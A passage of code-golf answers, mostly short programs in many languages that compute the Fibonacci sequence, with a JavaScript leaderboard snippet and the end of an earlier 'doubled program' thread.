program, the following code is actually executed: ``` " O@O " O@ ``` The string pushes `32, 79, 64, 79, 32`. Then the space does nothing, the `O` prints `32`, and the `@` terminates the program. For the doubled program, the string is instead terminated before the IP bounces back, so the code is only traversed once: ``` " O@" O@ ``` This time, the string pushes `32, 79, 64`, the `O` prints the `64` and the `@` terminates the program. This appears to be the only 4-byte solution. [Answer] # [SOGL V0.12](https://github.com/dzaima/SOGL), 1 [byte](https://github.com/dzaima/SOGL/blob/master/chartable.md) ``` I ``` [Try it Here!](https://dzaima.github.io/SOGLOnline/comp/index.html?code=SQ__), or [try the duplicated version](https://dzaima.github.io/SOGLOnline/comp/index.html?code=SUk_) `I` is the increase command, and as no input is provided, it increases 0 (and then in the duplicated program, 1 to 2) [Answer] # [,,,](https://github.com/totallyhuman/commata), 2 [bytes](https://github.com/totallyhuman/commata/wiki/Code-page) ``` 1∑ ``` ## Explanation ``` 1∑ 1 push 1 ∑ pop everything and push the sum of the stack ``` [Answer] ## JavaScript (ES6), 63 bytes Prints either `1` or `2` through an alert dialog. ### Original ``` clearTimeout((t=this).x),t.x=setTimeout(`alert(${t.n=-~t.n})`); ``` ### Doubled ``` clearTimeout((t=this).x),t.x=setTimeout(`alert(${t.n=-~t.n})`);clearTimeout((t=this).x),t.x=setTimeout(`alert(${t.n=-~t.n})`); ``` ]
[Question] [ The [Fibonacci sequence](http://oeis.org/A000045) is a sequence of numbers, where every number in the sequence is the sum of the two numbers preceding it. The first two numbers in the sequence are both 1. Here are the first few terms: ``` 1 1 2 3 5 8 13 21 34 55 89 ... ``` --- Write the shortest code that either: * Generates the Fibonacci sequence without end. * Given `n` calculates the `n`th term of the sequence. (Either 1 or zero indexed) You may use standard forms of input and output. (I gave both options in case one is easier to do in your chosen language than the other.) --- For the function that takes an `n`, a reasonably large return value (the largest Fibonacci number that fits your computer's normal word size, at a minimum) has to be supported. --- ### Leaderboard ``` /* Configuration */ var QUESTION_ID = 85; // Obtain this from the url // It will be like https://XYZ.stackexchange.com/questions/QUESTION_ID/... on any question page var ANSWER_FILTER = "!t)IWYnsLAZle2tQ3KqrVveCRJfxcRLe"; var COMMENT_FILTER = "!)Q2B_A2kjfAiU78X(md6BoYk"; var OVERRIDE_USER = 3; // This should be the user ID of the challenge author. /* App */ var answers = [], answers_hash, answer_ids, answer_page = 1, more_answers = true, comment_page; function answersUrl(index) { return "https://api.stackexchange.com/2.2/questions/" + QUESTION_ID + "/answers?page=" + index + "&pagesize=100&order=desc&sort=creation&site=codegolf&filter=" + ANSWER_FILTER; } function commentUrl(index, answers) { return "https://api.stackexchange.com/2.2/answers/" + answers.join(';') + "/comments?page=" + index + "&pagesize=100&order=desc&sort=creation&site=codegolf&filter=" + COMMENT_FILTER; } function getAnswers() { jQuery.ajax({ url: answersUrl(answer_page++), method: "get", dataType: "jsonp", crossDomain: true, success: function (data) { answers.push.apply(answers, data.items); answers_hash = []; answer_ids = []; data.items.forEach(function(a) { a.comments = []; var id = +a.share_link.match(/\d+/); answer_ids.push(id); answers_hash[id] = a; }); if (!data.has_more) more_answers = false; comment_page = 1; getComments(); } }); } function getComments() { jQuery.ajax({ url: commentUrl(comment_page++, answer_ids), method: "get", dataType: "jsonp", crossDomain: true, success: function (data) { data.items.forEach(function(c) { if (c.owner.user_id === OVERRIDE_USER) answers_hash[c.post_id].comments.push(c); }); if (data.has_more) getComments(); else if (more_answers) getAnswers(); else process(); } }); } getAnswers(); var SCORE_REG = /<h\d>\s*([^\n,<]*(?:<(?:[^\n>]*>[^\n<]*<\/[^\n>]*>)[^\n,<]*)*),.*?(\d+)(?=[^\n\d<>]*(?:<(?:s>[^\n<>]*<\/s>|[^\n<>]+>)[^\n\d<>]*)*<\/h\d>)/; var OVERRIDE_REG = /^Override\s*header:\s*/i; function getAuthorName(a) { return a.owner.display_name; } function process() { var valid = []; answers.forEach(function(a) { var body = a.body; a.comments.forEach(function(c) { if(OVERRIDE_REG.test(c.body)) body = '<h1>' + c.body.replace(OVERRIDE_REG, '') + '</h1>'; }); var match = body.match(SCORE_REG); if (match) valid.push({ user: getAuthorName(a), size: +match[2], language: match[1], link: a.share_link, }); else console.log(body); }); valid.sort(function (a, b) { var aB = a.size, bB = b.size; return aB - bB }); var languages = {}; var place = 1; var lastSize = null; var lastPlace = 1; valid.forEach(function (a) { if (a.size != lastSize) lastPlace = place; lastSize = a.size; ++place; var answer = jQuery("#answer-template").html(); answer = answer.replace("{{PLACE}}", lastPlace + ".") .replace("{{NAME}}", a.user) .replace("{{LANGUAGE}}", a.language) .replace("{{SIZE}}", a.size) .replace("{{LINK}}", a.link); answer = jQuery(answer); jQuery("#answers").append(answer); var lang = a.language; lang = jQuery('<a>'+lang+'</a>').text(); languages[lang] = languages[lang] || {lang: a.language, lang_raw: lang, user: a.user, size: a.size, link: a.link}; }); var langs = []; for (var lang in languages) if (languages.hasOwnProperty(lang)) langs.push(languages[lang]); langs.sort(function (a, b) { if (a.lang_raw.toLowerCase() > b.lang_raw.toLowerCase()) return 1; if (a.lang_raw.toLowerCase() < b.lang_raw.toLowerCase()) return -1; return 0; }); for (var i = 0; i < langs.length; ++i) { var language = jQuery("#language-template").html(); var lang = langs[i]; language = language.replace("{{LANGUAGE}}", lang.lang) .replace("{{NAME}}", lang.user) .replace("{{SIZE}}", lang.size) .replace("{{LINK}}", lang.link); language = jQuery(language); jQuery("#languages").append(language); } } ``` ``` body { text-align: left !important; display: block !important; } #answer-list { padding: 10px; width: 290px; float: left; } #language-list { padding: 10px; width: 290px; float: left; } table thead { font-weight: bold; } table td { padding: 5px; } ``` ``` <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script> <link rel="stylesheet" type="text/css" href="https://cdn.sstatic.net/Sites/codegolf/all.css?v=ffb5d0584c5f"> <div id="language-list"> <h2>Shortest Solution by Language</h2> <table class="language-list"> <thead> <tr><td>Language</td><td>User</td><td>Score</td></tr> </thead> <tbody id="languages"> </tbody> </table> </div> <div id="answer-list"> <h2>Leaderboard</h2> <table class="answer-list"> <thead> <tr><td></td><td>Author</td><td>Language</td><td>Size</td></tr> </thead> <tbody id="answers"> </tbody> </table> </div> <table style="display: none"> <tbody id="answer-template"> <tr><td>{{PLACE}}</td><td>{{NAME}}</td><td>{{LANGUAGE}}</td><td>{{SIZE}}</td><td><a href="{{LINK}}">Link</a></td></tr> </tbody> </table> <table style="display: none"> <tbody id="language-template"> <tr><td>{{LANGUAGE}}</td><td>{{NAME}}</td><td>{{SIZE}}</td><td><a href="{{LINK}}">Link</a></td></tr> </tbody> </table> ``` [Answer] ## Brainfuck, 22 bytes ``` +>++[-<<[->+>+<<]>>>+] ``` Generates the Fibonacci sequence gradually moving across the memory tape. [Answer] ## Haskell, ~~17~~ ~~15~~ 14 bytes ``` f=1:scanl(+)1f ``` [Try it online!](https://tio.run/##y0gszk7Nyfn/P83W0Ko4OTEvR0Nb0zDtf25iZp6CrUJBUWZeiYJGSWJ2qoKhgYGCikKa5n8A "Haskell – Try It Online") [Answer] # Perl 6, 10 chars: Anonymous infinite fibonacci sequence list: ``` ^2,*+*...* ``` Same as: ``` 0, 1, -> $x, $y { $x + $y } ... Inf; ``` So, you can assign it to an array: ``` my @short-fibs = ^2, * + * ... *; ``` or ``` my @fibs = 0, 1, -> $x, $y { $x + $y } ... Inf; ``` And get the first eleven values (from 0 to 10) with: ``` say @short-fibs[^11]; ``` or with: ``` say @fibs[^11]; ``` Wait, you can get too the first 50 numbers from anonymous list itself: ``` say (^2,*+*...*)[^50] ``` That returns: ``` 0 1 1 2 3 5 8 13 21 34 55 89 144 233 377 610 987 1597 2584 4181 6765 10946 17711 28657 46368 75025 121393 196418 317811 514229 832040 1346269 2178309 3524578 5702887 9227465 14930352 24157817 39088169 63245986 102334155 165580141 267914296 433494437 701408733 1134903170 1836311903 2971215073 4807526976 7778742049 ``` And some simple benchmark: ``` real 0m0.966s user 0m0.842s sys 0m0.080s ``` With: ``` $ time perl6 -e 'say (^2, *+* ... *)[^50]' ``` EOF [Answer] ## C# 4, 58 bytes **Stream (69; 65 if weakly typed to `IEnumerable`)** (Assuming a `using` directive for `System.Collections.Generic`.) ``` IEnumerable<int>F(){int c=0,n=1;for(;;){yield return c;n+=c;c=n-c;}} ``` **Single value (58)** ``` int F(uint n,int x=0,int y=1){return n<1?x:F(n-1,y,x+y);} ``` [Answer] ## GolfScript, 12 Now, just 12 characters! ``` 1.{[[email protected]](/cdn-cgi/l/email-protection)+.}do ``` [Answer] # [Hexagony](https://github.com/mbuettner/hexagony), ~~18~~ ~~14~~ 12 Thanks Martin for 6 bytes! ``` 1="/}.!+/M8; ``` Expanded: ``` 1 = " / } . ! + / M 8 ; . . . . . . . ``` [Try it online](http://hexagony.tryitonline.net/#code=MT0iL30uISsvTTg7&input=) --- Old, answer. This is being left in because the images and explanation might be helpful to new Hexagony users. ``` !).={!/"*10;$.[+{] ``` Expanded: ``` ! ) . = { ! / " * 1 0 ; $ . [ + { ] . ``` This prints the Fibonacci sequence separated by newlines. [Try it online!](http://hexagony.tryitonline.net/#code=ISkuPXshLyIqMTA7JC5bK3td&input=) Be careful though, the online interpreter doesn't really like infinite output. ### Explanation There are two "subroutines" to this program, each is run by one of the two utilised IPs. The first routine prints newlines, and the second does the Fibonacci calculation and output. The first subroutine starts on the first line and moves left to right the entire time. It first prints the value at the memory pointer (initialized to zero), and then increments the value at the memory pointer by `1`. After the no-op, the IP jumps to the third line which first switches to another memory cell, then prints a newline. Since a newline has a positive value (its value is 10), the code will always jump to the fifth line, next. The fifth line returns the memory pointer to our Fibonacci number and then switches to the other subroutine. When we get back from this subroutine, the IP will jump back to the third line, after executing a no-op. The second subroutine begins at the top right corner and begins moving Southeast. After a no-op, we are bounced to travel West along the second line. This line prints the current Fibonacci number, before moving the memory pointer to the next location. Then the IP jumps to the fourth line, where it computes the next Fibonacci number using the previous two. It then gives control back to the first subroutine, but when it regains control of the program, it continues until it meets a jump, where it bounces over the mirror that was originally used to point it West, as it returns to the second line. --- Preliminary Pretty Pictures! The left side of the image is the program, the right hand side represents the memory. The blue box is the first IP, and both IPs are pointing at the next instruction to be executed. [![enter image description here](https://i.stack.imgur.com/tiqRU.gif)](https://i.stack.imgur.com/tiqRU.gif) Note: Pictures may only appear pretty to people who have similarly limited skill with image editing programs :P I will add at least 2 more iterations so that the use of the `*` operator becomes more clear. Note 2: I only saw [alephalpha's answer](https://codegolf.stackexchange.com/a/62716/31625) after writing most of this, I figured it was still valuable because of the separation, but the actual Fibonacci parts of our programs are very similar. In addition, this is the smallest Hexagony program that I have seen making use of more than one IP, so I thought it might be good to keep anyway :P [Answer] ## J, 10 chars Using built-in calculation of Taylor series coefficients so maybe little cheaty. Learned it [here](http://www.jsoftware.com/jwiki/Essays/Fibonacci%20Sequence#Generating_functions). ``` (%-.-*:)t. (%-.-*:)t. 0 1 2 3 4 5 10 100 0 1 1 2 3 5 55 354224848179261915075 ``` [Answer] # Python 2, 34 bytes Python, using recursion... here comes a StackOverflow! ``` def f(i,j):print i;f(j,i+j) f(1,1) ``` [Answer] ## [><>](http://esolangs.org/wiki/Fish) - 15 characters ``` 0:nao1v a+@:n:<o ``` [Answer] ## [COW](http://esolangs.org/wiki/COW), 108 ``` MoO moO MoO mOo MOO OOM MMM moO moO MMM mOo mOo moO MMM mOo MMM moO moO MOO MOo mOo MoO moO moo mOo mOo moo ``` [Answer] # [Jelly](http://github.com/DennisMitchell/jelly), 3 bytes ``` +¡1 ``` [Try it online!](http://jelly.tryitonline.net/#code=K8KhMQ&input=MjA) ### How it works ``` +¡1 Niladic link. No implicit input. Since the link doesn't start with a nilad, the argument 0 is used. 1 Yield 1. + Add the left and right argument. ¡ For reasons‡, read a number n from STDIN. Repeatedly call the dyadic link +, updating the right argument with the value of the left one, and the left one with the return value. ``` ‡ `¡` peeks at the two links to the left. Since there is only one, it has to be the body of the loop. Therefore, a number is read from input. Since there are no command-line arguments, that number is read from STDIN. [Answer] # [Hexagony](https://github.com/mbuettner/hexagony), 6 bytes ``` 1.}=+! ``` Ungolfed: ``` 1 . } = + ! . ``` It prints the Fibonacci sequence without any separator. [Answer] # Ruby, 29 27 25 24 bytes ``` p a=b=1;loop{b=a+a=p(b)} ``` Edit: made it an infinite loop. ;) [Answer] # Golfscript - single number - 12/11/10 12 chars for taking input from stdin: ``` ~0 1@{.@+}*; ``` 11 chars for input already on the stack: ``` 0 1@{.@+}*; ``` 10 chars for further defining 1 as the 0th Fibonacci number: ``` 1.@{.@+}*; ``` [Answer] # [Prelude](http://esolangs.org/wiki/Prelude), 12 bytes One of the few challenges where Prelude is actually fairly competitive: ``` 1(v!v) ^+^ ``` This requires [the Python interpreter](https://web.archive.org/web/20060504072747/http://z3.ca/~lament/prelude.py) which prints values as decimal numbers instead of characters. ## Explanation In Prelude, all lines are executed in parallel, with the instruction pointer traversing columns of the program. Each line has its own stack which is initialised to zero. ``` 1(v!v) ^+^ | Push a 1 onto the first stack. | Start a loop from here to the closing ). | Copy the top value from the first stack to the second and vice-versa. | Print the value on the first stack, add the top two numbers on the second stack. | Copy the top value from the first stack to the second and vice-versa. ``` The loop repeats forever, because the first stack will never have a `0` on top. Note that this starts the Fibonacci sequence from `0`. [Answer] ## DC (20 bytes) As a bonus, it's even obfuscated ;) ``` zzr[dsb+lbrplax]dsax ``` EDIT: I may point out that it prints *all* the numbers in the fibonacci sequence, if you wait long enough. [Answer] **Mathematica, 9 chars** ``` Fibonacci ``` If built-in functions are not allowed, here's an explicit solution: **Mathematica, ~~33~~ ~~32~~ 31 chars** ``` #&@@Nest[{+##,#}&@@#&,{0,1},#]& ``` [Answer] # TI-BASIC, 11 By legendary TI-BASIC golfer Kenneth Hammond ("Weregoose"), from [this site](http://adriweb.free.fr/upload/ti/weregoose.html). Runs in O(1) time, and considers 0 to be the 0th term of the Fibonacci sequence. ``` int(round(√(.8)cosh(Anssinh‾¹(.5 ``` To use: ``` 2:int(round(√(.8)cosh(Anssinh‾¹(.5 1 12:int(round(√(.8)cosh(Anssinh‾¹(.5 144 ``` How does this work? If you do the math, it turns out that `sinh‾¹(.5)` is equal to `ln φ`, so it's a modified version of Binet's formula that rounds down instead of using the `(1/φ)^n` correction term. The `round(` (round to 9 decimal places) is needed to prevent rounding errors. [Answer] ## K - 12 Calculates the `n` and `n-1` Fibonacci number. ``` {x(|+\)/0 1} ``` Just the `nth` Fibonacci number. ``` {*x(|+\)/0 1} ``` [Answer] # Julia, 18 bytes ``` n->([1 1;1 0]^n)[] ``` [Answer] ## Java, 55 I can't compete with the conciseness of most languages here, but I can offer a substantially different and possibly much faster (constant time) way to calculate the n-th number: ``` Math.floor(Math.pow((Math.sqrt(5)+1)/2,n)/Math.sqrt(5)) ``` `n` is the input (int or long), starting with n=1. It uses [Binet's formula](https://en.wikipedia.org/wiki/Fibonacci_number#Closed-form_expression) and rounds instead of the subtraction. [Answer] # [Dodos](https://github.com/DennisMitchell/dodos), 26 bytes ``` dot F F F dip F dip dip ``` [Try it online!](https://tio.run/##S8lPyS/@/58zJb9EwY3LjYvTTSElswBKgfD///8NDQA "Dodos – Try It Online") ### How it works The function **F** does all the heavy lifting; it is defined recursively as follows. ``` F(n) = ( F(|n - 1|), F(||n - 1| - 1|) ) ``` Whenever **n > 1**, we have **|n - 1| = n - 1 < n** and **||n - 1| - 1| = |n - 1 - 1| = n - 2 < n**, so the function returns **( F(n - 1), F(n - 2) )**. If **n = 0**, then **|n - 1| = 1 > 0**; if **n = 1**, then **||n - 1| - 1| = |0 - 1| = 1 = 1**. In both cases, the attempted recursive calls **F(1)** raise a *Surrender* exception, so **F(0)** returns **0** and **F(1)** returns **1**. For example, **F(3) = ( F(1), F(2) ) = ( 1, F(0), F(1) ) = ( 1, 0, 1 )**. Finally, the **main** function is defined as ``` main(n) = sum(F(n)) ``` so it adds up all coordinates of the vector returned by **F**. For example, **main(3) = sum(F(3)) = sum(1, 0, 1) = 2**. [Answer] # [TypeScript's type system](https://www.typescriptlang.org), 193 188 186 bytes ``` type L='length' type T<N,U extends 0[]=[]>=U[L]extends N?U:T<N,[...U,0]> type S<A,B>=T<A>extends[...infer U,...T<B>]?U[L]:0 type F<N>=N extends 0|1?N:[...T<F<S<N,1>>>,...T<F<S<N,2>>>][L] ``` There's no way to do I/O here, but we can use hovering to view the value (also note that the generated JS is empty): [![Fibonacci(10)](https://i.stack.imgur.com/fxJ2p.png)](https://i.stack.imgur.com/fxJ2p.png) Unfortunately, TypeScript has strict recursion limits and on F18 we get a `Type instantiation is excessively deep and possibly infinite.` error: [![Fibonacci(11)](https://i.stack.imgur.com/33Bqv.png)](https://i.stack.imgur.com/33Bqv.png) [**Demo on TypeScript Playground**](https://www.typescriptlang.org/play?ts=4.5.4#code/C4TwDgpgBAMgvAcgDYQHYHNgAsEChSRQAqAPAHIA0AqlBAB7BoAmAzlAAwDaAunDwHxwqnGN3qNUrKGQD8VAFylKnAHRqqFdt375w0AMokAghQBCg0kf7jmLVWoCWqAGYQATlA1qVpc9zki3PLsuoQAYuSCZLQMthwAPgCMMmTy9j4kEYaUifx5FN6kWeQUAEx5-NyBuDUowFDOiQDs8lARzfwA3Lh1DYkAHK3t-V1AA) --- Ungolfed version: ``` type NTuple<N extends number, Tup extends unknown[] = []> = Tup['length'] extends N ? Tup : NTuple<N, [...Tup, unknown]>; type Add<A extends number, B extends number> = [...NTuple<A>, ...NTuple<B>]['length']; type Sub<A extends number, B extends number> = NTuple<A> extends [...(infer Tup), ...NTuple<B>] ? Tup['length'] : never; type Fibonacci<N extends number> = N extends 0 | 1 ? N : Add<Fibonacci<Sub<N, 1>>, Fibonacci<Sub<N, 2>>>; ``` [Answer] ## 05AB1E, 7 bytes Code: ``` 1$<FDr+ ``` [Try it online!](http://05ab1e.tryitonline.net/#code=MSQ8RkRyKw) [Answer] # [Whispers v3](https://github.com/cairdcoinheringaahing/Whispers), 35 bytes ``` > Input > fₙ >> 2ᶠ1 >> Output 3 ``` [Try it online!](https://tio.run/##K8/ILC5ILSo2@v/fTsEzr6C0hMtOIe1R00wuOzsFo4fbFhiCGP6lJUAZBeP//wE "Whispers v2 – Try It Online") (or don't, as this uses features exclusive to v3) Simply takes the first \$n\$ elements of the infinite list of Fibonacci numbers. [Answer] # [Trianguish](https://github.com/Radvylf/trianguish), ~~152~~ 135 bytes ``` 00000000: 0c05 10d8 0201 40d7 0401 4110 4102 a060 00000010: 2c02 b080 2c02 8050 20e4 0211 0710 e209 00000020: 1110 4028 0d00 6020 2902 10c3 0802 a107 00000030: 02a1 0502 8027 0910 290b 1110 403b 0890 00000040: 204d 03d0 503c 0790 602a 1071 02a0 9027 00000050: 0280 b110 8111 0402 70e2 0501 402a 0202 00000060: 9106 1107 0291 0b11 0902 702b 1040 2a10 00000070: 6110 2102 9050 2802 70b1 1071 1104 1102 00000080: 02a1 0502 802c 05 ``` [![Two loop? Too many loop!](https://i.stack.imgur.com/W3v8e.png)](https://i.stack.imgur.com/W3v8e.png) [Try it online!](https://radvylf.github.io/trianguish/#bRpe5WBWEKfq54fcmvocykcKIEW_rK16GoV0e6r4lucnIdyGjbqJf3c9repFoZbw_neIAf.TpzYLM_49nZVTcuaHAboCGhtT0aTOf5j23UhN0GP.S0Qh2nYlxQT2rGokPwlJ_bsoF6-iPeFkRxL%7EJvlaoxY%7E-Cu47GiimG5Ib0E.HGAeRg69H) --- Trianguish is my newest language, a cellular automaton sort of thing which uses a triangular grid of "ops" (short for "operators"). It features self-modification, a default max int size of 216, and an interpreter which, in my opinion, is the coolest thing I've ever created (taking over forty hours and 2k SLOC so far). This program consists of two precisely timed loops, each taking exactly ~~17~~ 11 ticks. The first, in the top right is what actually does the fibonacci part; two S-builders are placed in exactly the right position such that two things occur in exactly the same number of ticks: 1. The left S-builder, `x`, copies its contents to `y` 2. The sum of `x` and `y` is copied to `x` Precise timing is required, as if either of these occurred with an offset from the other, non-fibonacci numbers would appear in brief pulses, just long enough to desync everything. Another way this could have been done is with T-switches allowing only a single tick pulse from one of the S-builders, which would make precise timing unneeded, but this is more elegant and likely smaller. The second loop, which is also 11 ticks, is pretty simple. It starts off with a 1-tick pulse of `1n`, and otherwise is `0n`, allowing an n-switch and t-switch to allow the contents of `x` to be outputted once per cycle. Two S-switches are required to make the clock use an odd number of ticks, but otherwise it's just a loop of the correct number of wires. This program prints infinitely many fibonacci numbers, though if run with Mod 216 on, it will print them, as you might guess, modulo'd by 216 (so don't do that :p). [Answer] # [Perl 5](https://www.perl.org/), ~~36~~ ~~35~~ ~~33~~ 32 bytes *-2 bytes thanks to dingledooper* ``` 1x<>~~/^(..?)*$(??{++$i})/;say$i ``` [Try it online!](https://tio.run/##K0gtyjH9n5evUJ5YlJeZl16soJ5aUZBalJmbmleSmGNlVZybWFSSm1iSnKFu/d@wwsaurk4/TkNPz15TS0XD3r5aW1sls1ZT37o4sVIl8/9/I9N/@QUlmfl5xf91fU31DAwNAA "Perl 5 – Try It Online") This works by using the regex `^(..?)*$` to count [how many distinct partitions](https://en.wikipedia.org/wiki/Fibonacci_number#Symbolic_method) \$n\$ has as a sum of the numbers \$1\$ and \$2\$. For example, \$5\$ can be represented in the following \$8\$ ways: ``` 1+1+1+1+1 1+1+1+2 1+1+2+1 1+2+1+1 1+2+2 2+1+1+1 2+1+2 2+2+1 ``` This tells us that the \$F\_5=8\$. I had this basic idea on [2014-03-05](https://gist.github.com/Davidebyzero/9090628#gistcomment-1185486) but it didn't occur to me until today to try coding it into a program. *The following two paragraphs explain the **33 byte** version:* To count the number of distinct matches `^(..?)*$` can make in a string \$n\$ characters long, we must force Perl's regex engine to backtrack after every time the regex completes a successful match. Expressions like `^(..?)*$.` fail to do what we want, because Perl optimizes away the non-match, not attempting to evaluate the regex even once. But it so happens that it does *not* optimize away an attempt to match a backreference. So we make it try to match `\1`. This will always fail, but the regex engine isn't "smart" enough to know this, so it tries each time. (It's actually possible for a backreference to match after `$` with the multiline flag disabled, if it captured a zero-length substring. But in this particular regex, that can never happen.) Embedded code is used to count the number of times the regex engine completes a match. This is the `(?{++$i})`, which increments the variable `$i`. We then turn it into a non-match after the code block executes. To get this down to **32 bytes**, a "postponed" regular subexpression embedded code block is used, `$(??{`...`})` instead of `$(?{`...`})`. This not only executes the code, but then compiles that code's return value as a regex subexpression to be matched. Since the return value of `++$i` is the new value of `$i`, this will cause the match to fail and backtrack, since a decimal number (or any non-empty string) will never match at the end of a string. This does make the 32 byte version about 7 times slower than the 33 byte version, because it has to recompile a different decimal number as a regex after each failed match (i.e. the same number of times as the Fibonacci number that the program will output). Using `(??{++$i,0})` is almost as fast as `(?{++$i})\1`, as Perl optimizes the case in which the return value has not changed last time. But that would defeat the purpose of using `$(??{`...`})` in the first place, because it would be 1 byte longer instead of 1 byte shorter. As to the sequence itself – for golf reasons, the program presented above defines \$F\_0=1,\ F\_1=1\$. To define \$F\_0=0,\ F\_1=1\$ we would need an extra byte: ``` 1x<>~~/^.(..?)*$(??{++$i})/;say$i ``` [Try it online!](https://tio.run/##K0gtyjH9n5evUJ5YlJeZl16soJ5aUZBalJmbmleSmGNlVZybWFSSm1iSnKFu/d@wwsaurk4/Tk9DT89eU0tFw96@WltbJbNWU9@6OLFSJfP/fyOzf/kFJZn5ecX/dX1N9QwMDQA "Perl 5 – Try It Online") In the versions below, `(?{++$i})\1` is used for speed (at the golf cost of 1 extra byte), to make running the test suite more convenient. Here it is as a (reasonably) well-behaved anonymous function (**~~47~~ ~~46~~ 44 bytes**): ``` sub{my$i;1x pop~~/^.(..?)*$(?{--$i})\1/;-$i} ``` [Try it online!](https://tio.run/##VY5NCsIwFISv8pBAErXRIm6M1YuIEDXVB00aktS/UpcewCN6kdq6EFzNN/ANjNO@mLdV0BCix32U0PNFeYv2GCTY8leA6qvTHo22URWLRTDKR6Pi/kTH9FzioYuqMzGiKvCuD1SCuQHJszZUu9rcCMr0Cq50j8dkK5gQaz4kbF0nCcGGb9KJ7KGVfw/y0rN@mk0lwWU2S7sYjXgNmDOCvHYebRxs7KCBLwJBQeH9fAEVjOTJqre4bNoP "Perl 5 – Try It Online") - Displays \$F\_0\$ through \$F\_{31}\$ The above actually runs faster than the standard recursive approach (**39 bytes**): ``` sub f{my$n=pop;$n<2?$n:f($n-2)+f($n-1)} ``` [Try it online!](https://tio.run/##HcpBCsIwEEDRqwwl0IRgsRU3ToMXcaPSyIBOQ5IiErL1AB7Ri8Sa1f@L5yZ/35clTBCip2tE@P/z7Jn4FrCE5QI2PV6CjZsdCh6Ho@CDlYI3g9K1vcoF7ezlyshsUdBodv0arVUCWg2p5DxxbE7cZKgLgroWvu8PtJ2sRGEuPw "Perl 5 – Try It Online") - Displays \$F\_0\$ through \$F\_{31}\$ If that is golfed down using [Xcali's technique](https://codegolf.stackexchange.com/a/182864/17216) it becomes even slower, at **38 bytes**: ``` sub f{"@_"<2?"@_":f("@_"-2)+f("@_"-1)} ``` [Try it online!](https://tio.run/##K0gtyjH9X1qcqlBcUpSZXGKtAGKXJxblZealF1v/Ly5NUkirVnKIV7IxsgdRVmkaIErXSFMbyjLUrP1vnZZfpJFbqZJpa2Ctkmlja2wIpLS1NasVMtM0VDI1qwuKMvNKlGLylGoVwEwFlUw9dYVHbZMU1PU0wEo0FWr/AwA "Perl 5 – Try It Online") - Displays \$F\_0\$ through \$F\_{31}\$ or with the same indexing as my main answer here, **34 bytes**: ``` sub f{"@_"<2||f("@_"-2)+f("@_"-1)} ``` [Try it online!](https://tio.run/##K0gtyjH9X1qcqlBcUpSZXGKtAGKXJxblZealF1v/Ly5NUkirVnKIV7IxqqlJ0wCxdI00taEsQ83a/9Zp@UUauZUqmbYG1iqZNrbGIEpbW7NaITNNQyVTs7qgKDOvRCkmT6lWAcxUUMnUU1d41DZJQV1PA6xEU6H2PwA "Perl 5 – Try It Online") - Displays terms \$0\$ through \$30\$ See [Patience, young "Padovan"](https://codegolf.stackexchange.com/questions/182797/patience-young-padovan/223250#223250) for more variations and comparisons. # [Perl 5](https://www.perl.org/) `-p`, 28 bytes ``` 1x$_~~/^(..?)*$(??{++$\})/}{ ``` [Try it online!](https://tio.run/##K0gtyjH9n5evUJ5YlJeZl16soJ5aUZBalJmbmleSmGNlVZybWFSSm1iSnKFu/d@wQiW@rk4/TkNPz15TS0XD3r5aW1slplZTv7b6/38j03/5BSWZ@XnF/3ULAA "Perl 5 – Try It Online") I've just learned now, 16 months after posting the main answer above, that [Ton Hospel's Sum of combinations with repetition](https://codegolf.stackexchange.com/questions/155938/sum-of-combinations-with-repetition/155955#155955) answer used this same basic technique, predating my post by 3 years. By combining the tricks used in that answer with those already used here, the program length can be reduced even further. Perl actually literally wraps the program in a loop using string concatenation when called with `-p`, which I was surprised to learn (I would have implemented it in Perl as an emulated loop). So when this program is wrapped in `while (<>) {` ... `; print $_}` by the `-p` flag, it becomes: ``` while (<>) {1x$_~~/^(..?)*$(??{++$\})/}{; print $_} ``` `while (<>)` implicitly assigns the input from stdin, `<>`, to `$_` (which isn't done when using `<>` normally) at the beginning of each iteration of its loop. `$\` is the `print` output terminator. By default it is empty, but the above program turns it into an integer by incrementing it on every possible match found by the regex. If only one number \$n\$ is sent to the program via stdin, followed by EOF, then upon exiting the loop `$\` will actually represent the \$n\$th Fibonacci number. The `while (<>)` exits when it encounters EOF, giving `$_` an empty value. So then `print $_` will print that empty value, followed by the value of `$\`. As such, it defeats the intended purpose of the `-p` flag, as this program works properly when given a single value followed by EOF; if given multiple newline delimited values, it will output the sum of those Fibonacci numbers after finally being sent EOF (if running the program interactively, this would be done by pressing Ctrl+D at the beginning of a line). Contrast this with an actually loopable Perl `-p` program at **37 bytes**: ``` 1x$_~~/^(..?)*$(?{++$i})\1/;$i%=$_=$i ``` [Try it online!](https://tio.run/##DcvNCoJAFAbQ/fcULibUJPVe/xXxTZIhhhrQUVRIiHz0JrcHzqyWIbNmct5yMdo8V8dV@6wWPSqzyaGu11Eu2yi3x8ttLO2iP47o7oVh51@F13WfIBD660eN0JdW9K3Q1sYgMBKkyJCjQIkKdCKBGJSAUlAGykEFqARV4Bh8HgYn4BSc/aZ505NZ7W0e/g "Perl 5 – Try It Online") If the same multiline input is given to the 28 byte program, this happens: [Try it online!](https://tio.run/##DctLCoMwFAXQ@V2FA0GtVH1P468DN1JaQpFW0BhioILo0ps6PXB0b0bh1Ox9pVGDei9e0K@6N8PUKyvHtl0maewk7esT3Byt/vM40keYJF108cOu2@LYv@9Rum/OZSAwchQQKFGhRgM6kUAMykEFSIBKUAWqQQ04A5@HwTm4AIvfrO0wq8Vd9fgH "Perl 5 – Try It Online") Sadly, the `$\` trick can't be used with `say`; it only applies to `print`. The `$,` variable applies to both `print` and `say`, but only comes into play if at least two items are printed, e.g. `say"",""`. [Answer] # K - 8 bytes ``` +/[;1;0] ``` ## Explanation It makes use of ngn/k's recurrence builtin. ## How to use Calculates the `n`th fibonacci number. To calculate the `n`th put the number at the end of the program: ``` +/[;1;0]40 ``` [Answer] ## Ruby, 25 chars st0le's answer shortened. ``` p 1,a=b=1;loop{p b=a+a=b} ``` [Answer] ### FAC: Functional APL, 4 characters (!!) Not mine, therefore posted as community wiki. FAC is a dialect of APL that Hai-Chen Tu apparently suggested as his PhD dissertation in 1985. He later wrote an article together with Alan J. Perlis called "[FAC: A Functional APL Language](http://dl.acm.org/citation.cfm?id=1308785)". This dialect of APL uses "lazy arrays" and allow for arrays of infinite length. It defines an operator "iter" (`⌼`) to allow for compact definition of some recursive sequences. The monadic ("unary") case of `⌼` is basically Haskell's `iterate`, and is defined as `(F⌼) A ≡ A, (F A), (F (F A)), …`. The dyadic ("binary") case is defined somewhat analogously for two variables: `A (F⌼) B ≡ A, B, (A F B), (B F (A F 